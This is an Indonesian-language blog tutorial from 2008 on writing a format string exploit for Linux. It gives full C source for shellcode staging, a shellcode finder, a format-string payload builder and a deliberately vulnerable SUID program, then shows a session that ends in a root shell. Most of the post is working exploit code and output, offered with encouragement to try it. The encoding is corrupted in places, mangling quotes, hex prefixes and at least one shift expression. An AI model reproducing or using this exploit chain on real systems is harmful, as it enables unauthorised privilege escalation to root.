Menulis Exploit Format String
Januari 15, 2008
Â
Di artikel terdahulu sudah di jelaskan bagaimana kesalahan dalam penggunaan fungsi format string mengakibatkan kita bisa mengakses informasi di dalam segmen stack (viewing stack) bahkan bisa di mungkinkan untuk melakukan writing di address yang kita inginkan hanya dengan mengetikan parameter format string seperti contoh di bawah ini:
Â
printf (“
_
);
printf (“AAA0AAA1_%08x.%08x.%08x.%08x.%08xâ€);
Â
Contoh:
Â
Address = 0×0849565c => “\x5c\x56\x49\x08â€
Â
          printf (“\x5c\x56\x49\x08_%08x.%08x.%08x.%08x.%08xâ€);
Â
Â
Dalam menulis eksploit format string ada beberapa langkah yang harus kita lakukan, yaitu :
Â
- Membuat shellcode
- Mencari address dari shellcode yang kita buat.
Ini di perlukan karena nanti pada saat eksploitasi, run program yang vulneral akan di JUMP ke lokasi shellcode.
- Mengetahui lokasi .dtors  section dari program yang vulneral.
Perlu di ketahui juga bahwa kita menuliskan parameter format string di lokasi .dtors di tambah 4 bytes. Penambahan 4 bytes setelah .dtors section di tujukan untuk menuliskan high address dan low address. Contoh :
Â
splitaddr0 = (addr >> 24) & 0xff;
splitaddr1 = (addr >> 16) & 0xff;
splitaddr2 = (addr >>Â
& 0xff;
splitaddr3 = (addr ) & 0xff;
Â
atau,
Â
splitaddr0 = (addr & 0xff000000) >> 24;
splitaddr1 = (addr & 0×00ff0000) >> 16;
splitaddr2 = (addr & 0×0000ff00) >>Â 8;
splitaddr3 = (addr & 0×000000ff);
Â
4.     Menemukan Offset dari varibel yang akan kita tulis.
Ini adalah penting untuk di lakukan karena dari sinilah kita bisa menentukan kira-kira perlu berapa bytes untuk menulisan di lokasi buffer yang tepat.
Â
Format penulisan di segmen stack (memori) adalah sebagai berikut:
Â
Â
parameter format string =
[ ] –> (high-low address)
                                                        Â
Parameter Format String di tujukan untuk mengarahkan running program ke alamat shellcode. Mungkin dari Anda ada yang bertanya mengapa ada NOP? Tentu penulisan NOP (0×90) di tujukan agar run program tidak terhenti (break), karena jika di temukan NULL bytes (0×00) sebelum shellcode menyebabkan proses akan terhenti karena NULL bytes merupakan EXIT CODE.
Â
Untuk memudahkan Anda dalam memahami konsep di atas, di sini akan penulis jelaskan melalui beberapa source code:
Â
- Source shellcode / eggshell, script untuk membuat shellcode di stack.
- Source shellcode finder, script untuk menemukan lokasi shellcode kita yang di load di stack.
- Source format builder, script untuk membuat parameter format string sesuai dengan address dan align yang di inginkan (easy step).
- Source code yang mengandung fungsi format string yang vulnerable.
Â
Dengan bantuan empat script di atas ada 3 data yang harus kita cari yaitu :
Â
-
- Menemukan lokasi dari shellcode yang kita buat di stack.
- Mencari lokasi .dtors section dari program yang vulnerable.
- Mencari angka align agar lokasi penulisan ke buffer bisa tepat.
Â
Silahkan Anda tulis seluruh source code di bawah ini ….
Â
SOURCE: egg.c
Â
/*
 *    this shall set egg shell in our environment
 *    ./egg
 *      truefinder, seo@igrus.inha.ac.kr
 *
 */
Â
#include
#include
#include
Â
#define DEF_EGGSIZEÂ Â Â Â 4096
#define DEF_ALIGNÂ Â Â Â Â Â 5
Â
char nop[] = { 0×90 };
Â
Â
Â
static char shellcode[] =
       “\x6a\x17\x58\x31\xdb\xcd\x80\x31″
      “\xd2\x52\x68\x6e\x2f\x73\x68\x68″
      “\x2f\x2f\x62\x69\x89\xe3\x52\x53″
      “\x89\xe1\x8d\x42\x0b\xcd\x80″;
Â
Â
Â
int
main( int argc, char *argv[] )
{
Â
       char *eggbuf, *buf_ptr;
       int align, i, eggsize ;
Â
       align = DEF_ALIGN;
       eggsize = DEF_EGGSIZE ;
Â
       if ( argc < 2 ) {
               printf (“%s \n”, argv[0] );
               exit(0);
       }
Â
       if ( argc > 1 )
               align = DEF_ALIGN + atoi(argv[1]);
Â
       if ( argc > 2 )
               eggsize = atoi(argv[2]) + DEF_ALIGN ;
Â
Â
       if ( (eggbuf = malloc( eggsize )) == NULL ) {
               printf (“error : malloc \n”);
               exit (-1);
       }
Â
Â
       /* set egg buf */
       memset( eggbuf, (int)NULL , eggsize );
Â
Â
       for ( i = 0; i < 250 ; i++ )
               strcat ( eggbuf, nop );
Â
       strcat ( eggbuf, shellcode );
Â
       for ( i =0 ; i < align ; i++ )
               strcat ( eggbuf, “A”);
Â
       memcpy ( eggbuf, “S=”, 2 );
       putenv ( eggbuf );
Â
       system(“/bin/sh”);
Â
}
Â
Â
SOURCE: find.c
Â
#include
#include
#include
/*Thanks to GOBBLES for the code*/
Â
unsigned long get_sp(void)
{Â Â Â Â Â Â __asm__ (“movl %esp, %eax”);
}
Â
Â
int i=0;
char *pointer;
char *nops = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″;
main(){
 fprintf(stderr, “. SUCHE!\n”);
               pointer = (char *)get_sp();
               while((i = strncmp(pointer, nops, strlen(nops))) != 0)
                       pointer++;
Â
               if(i == 0) {
                       fprintf(stderr, “Shellcode ist bei —-> : 0x%lx\n”, pointer+1);
                       return;
               }
               else {
                       fprintf(stderr, “Sorry nimm GDB\n”);
                       return;
               }
}
Â
Â
SOURCE: build.c
Â
#include
#include
#include
#include
Â
/**
  The 4 bytes where we have to write are placed that way : HH HH LL LL
Â
  The variables ending with “*h” refer to the high part of the word (H)
  The variables ending with “*l” refer to the low part of the word (L)
 */
char* build(unsigned int addr, unsigned int value, unsigned int where) {
Â
 unsigned int length = 128; //too lazy to evaluate the true length …
 unsigned int valh;
 unsigned int vall;
 unsigned char b0 = (addr >> 24) & 0xff;
 unsigned char b1 = (addr >> 16) & 0xff;
 unsigned char b2 = (addr >>Â
& 0xff;
 unsigned char b3 = (addr     ) & 0xff;
Â
 char *buf;
Â
 /* detailing the value */
 valh = (value >> 16) & 0xffff; //top
 vall = value & 0xffff;        //bottom
Â
 fprintf(stderr, “adr : %d (%x)\n”, addr, addr);
 fprintf(stderr, “val : %d (%x)\n”, value, value);
 fprintf(stderr, “valh: %d (%.4x)\n”, valh, valh);
 fprintf(stderr, “vall: %d (%.4x)\n”, vall, vall);
Â
  /* buffer allocation */
 if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
   fprintf(stderr, “Can’t allocate buffer (%d)\n”, length);
   exit(EXIT_FAILURE);
 }
 memset(buf, 0, length);
Â
 /* let’s build */
 if (valh < vall) {
Â
   snprintf(buf,
            length,
            “%c%c%c%c”          /* high address */
            “%c%c%c%c”          /* low address */
Â
            “%%.%hdx”           /* set the value for the first %hn */
            “%%%d$hn”           /* the %hn for the high part */
Â
            “%%.%hdx”           /* set the value for the second %hn */
            “%%%d$hn”           /* the %hn for the low part */       Â
            ,
            b3+2, b2, b1, b0,   /* high address */
            b3, b2, b1, b0,      /* low address */
Â
            valh-8,             /* set the value for the first %hn */Â
            where,              /* the %hn for the high part */      Â
                                                                       Â
            vall-valh,          /* set the value for the second %hn */
            where+1             /* the %hn for the low part */             Â
            );
           Â
 } else {
Â
    snprintf(buf,
            length,
            “%c%c%c%c”          /* high address */
            “%c%c%c%c”          /* low address */
Â
            “%%.%hdx”           /* set the value for the first %hn */  Â
            “%%%d$hn”           /* the %hn for the high part */        Â
                                                                         Â
            “%%.%hdx”           /* set the value for the second %hn */ Â
            “%%%d$hn”           /* the %hn for the low part */         Â
            ,                                                           Â
            b3+2, b2, b1, b0,   /* high address */                     Â
            b3, b2, b1, b0,     /* low address */                      Â
                                                                         Â
            vall-8,             /* set the value for the first %hn */  Â
            where+1,            /* the %hn for the high part */        Â
                                                                         Â
            valh-vall,          /* set the value for the second %hn */ Â
            where               /* the %hn for the low part */
            );
 }
 return buf;
}
Â
int
main(int argc, char **argv) {
Â
 char *buf;
Â
 if (argc < 3)
   return EXIT_FAILURE;
 buf = build(strtoul(argv[1], NULL, 16), /* adresse */
             strtoul(argv[2], NULL, 16), /* valeur */
             atoi(argv[3]));             /* offset */
Â
 fprintf(stderr, “[%s] (%d)\n”, buf, strlen(buf));
 printf(“%s”, buf);
 return EXIT_SUCCESS;
}
Â
Â
SOURCE: test.c
Â
int main(int argc, char **argv)
{
 int foo = 0×42424242;
 char buffer[128];
Â
 if (argc==1) {
   printf(“%s \n”, argv[0]);
   exit(1);
 }
Â
 printf(“Format String Exploitation [Testing Program] \n”);
 printf(“By Schizoprenic, Xnuxer-Research (c) 2002\n\n”);
Â
 printf(“foo at 0x%x = 0x%x\n”,&foo, foo);
Â
 memset(buffer, 0, sizeof(buffer));
 snprintf(buffer,sizeof(buffer), argv[1]); /* Vulnerable */
 printf(“Buffer=[%s] (%d)\n\n”, buffer, strlen(buffer)); /* Check Only */
Â
 return(0);
}
Â
Â
Oke sekarang kita akan mendemostrasikan secara nyata konsep eksploitasi format string. Kompile seluruh source di atas dan tambahkan bits SUID ke file test (test.c) ….
Â
[xnuxer@xnuxer xnuxer]$ gcc -o test test.c
[xnuxer@xnuxer xnuxer]$ su
Password:
[root@xnuxer xnuxer]# chown root.root test
[root@xnuxer xnuxer]# chmod 4755 test
[root@xnuxer xnuxer]# exit
exit
[xnuxer@xnuxer xnuxer]$ stat test
 File: “test”
 Size: 14479          Blocks: 32        IO Block: 4096  Regular File
Device: 301h/769d      Inode: 50766      Links: 1
Access: (4755/-rwsr-xr-x)Â Uid: (Â Â Â 0/Â Â Â root)Â Â Gid: (Â Â Â 0/Â Â Â root)
Access: Sat Sep 7 06:17:29 2002
Modify: Sat Sep 7 06:17:29 2002
Change: Sat Sep 7 06:17:55 2002
Â
Â
Jalankan program eggshell (egg.c) agar shellcode di load ke stack ….
Â
[xnuxer@xnuxer xnuxer]$ ./egg 5 6000
sh-2.05$ id
uid=500(xnuxer) gid=500(xnuxer) groups=500(xnuxer)
Â
Temukan lokasi shellcode di stack dengan menggunakan program shellcode finder (find.c) …..
Â
[xnuxer@xnuxer xnuxer]$ ./egg 5 6000
sh-2.05$ ./find
. SUCHE!
Shellcode ist bei —-> : 0xbffffd89Â Â Â Â Â <– Catat lokasi dari shellcode kita
Â
Cari lokasi .dtors section dari program test (test.c) …..
Â
sh-2.05$ objdump -s -j .dtors test
Â
test:Â Â Â Â file format elf32-i386
Â
Contents of section .dtors:
 804977c ffffffff 00000000                   ……..
      ^——————————— Nah ini lokasi .dtors section
Â
Tambahkan address .dtors section dengan 4 bytes ….
Â
0×0804977c + 4 bytes = 0×8049780Â Â Â Â <– Dari lokasi inilah kita akan melakukan overwrite
Â
Sekarang saatnya kita mencari align yang tepat ….
Â
[ TESTING PERTAMA --> align = 1 (AAAA%1\$x) ]
Â
sh-2.05$ ./test AAAA%1\$x
Format String Exploitation [Testing Program]
By Schizoprenic, Xnuxer-Research (c) 2002
Â
foo at 0xbffff90c = 0×42424242
Buffer=[AAAAbffff8bc] (12)
Â
[ TESTING KEDUA --> align = 2 (AAAA%2\$x) ]
Â
sh-2.05$ ./test AAAA%2\$x
Format String Exploitation [Testing Program]
By Schizoprenic, Xnuxer-Research (c) 2002
Â
foo at 0xbffff90c = 0×42424242
Buffer=[AAAA41414141] (12)Â Â Â Â <——- Gotcha, Alignnya di temukan
Â
[ TESTING KETIGA --> align = 3 (AAAA%3\$x) ]
Â
sh-2.05$ ./test AAAA%3\$x
Format String Exploitation [Testing Program]
By Schizoprenic, Xnuxer-Research (c) 2002
Â
foo at 0xbffff90c = 0×42424242
Buffer=[AAAA0] (5)
Â
Dari testing kedua Anda bisa melihat bahwa karakter “AAAA†terduplikasi dengan benar di variabel buffer[ ].
Â
Di sini kita telah mendapatkan 3 data yaitu :
Â
- Lokasi shellcode = 0xbffffd89
- Lokasi overwrite .dtors section = 0×8049780
- Value align = 2
Â
Intinya nanti adalah dengan menuliskan parameter format string di lokasi overwrite .dtors section, dengan menggunakan parameter tersebut running program akan di arahkan ke alamat shellcode. Dan nanti yang terjadi adalah shellcode akan di jalankan dengan akses dan permission dari file test (test.c) yang mengandung bits SUID.
Â
 Untuk membuat parameter format string gunakanlah program build (build.c). Dari data di atas maka parameter format string-nya adalah :
Â
[xnuxer@xnuxer xnuxer]$ ./build 0×08049780 0xbffffd89 2
adr : 134518656 (8049780)
val : -1073742455 (bffffd89)
valh: 49151 (bfff)
vall: 64905 (fd89)
[%.49143x%2$hn%.15754x%3$hn] (34)
%.49143x%2$hn%.15754x%3$Â Â Â Â <—— Ini parameternya
Â
Oke sekarang kita lanjutkan lagi eksperimen kita …
Â
[ di jalankan dari shellcode yang kita buat ]
Â
sh-2.05$ ./test `./build 0×08049780 0xbffffd89 2`
adr : 134518656 (8049780)
val : -1073742455 (bffffd89)
valh: 49151 (bfff)
vall: 64905 (fd89)
[%.49143x%2$hn%.15754x%3$hn] (34)
Format String Exploitation [Testing Program]
By Schizoprenic, Xnuxer-Research (c) 2002
Â
foo at 0xbffff8fc = 0×42424242
Buffer=[00000000000000000000000000000000000000000 0000000000000000000000000000000000000000000
00000000000000000000000000000000000] (127)
Â
sh-2.05# id
uid=0(root) gid=0(root) groups=500(xnuxer)
sh-2.05#
Â
Uppss kita telah berhasil melakukan take over (he..he…he…) yaaa sebenarnya metode yang di gunakan cukup masuk akal dan bagi Anda yang programmer tentu tidak akan bingung dengan logika-logika yang di gunakan.
Â
Keep of The Spirits, tunjukan bahwa hacker Indonesia pun tidak kalah dengan hacker-hacker lain di dunia ;P Selamat Mencoba!.
Â
Note: Testing di lakukan di mesin PC Intel i686 dengan Operating System Linux Redhat 7.2 (Enigma)
Â
CREDIT:
-        “Exploiting Local Format String Holes on x86/linuxâ€, Promisc Digital Research Group.
-        “Format String Builder Howto v0.1â€, Frederic “Pappy†Raynal & Samuel “Zorgon†Dralet.
-        “Exploiting Format String Vulneralbilities Version 1.2â€, SCUT/Team Teso, September 1, 2001.
-        “How to Write Format String Exploitsâ€, Delikon (http://www.Delikon.de.vu/).
Â
Entry Filed under: Hacking. .


Trackback this post | Subscribe to the comments via RSS Feed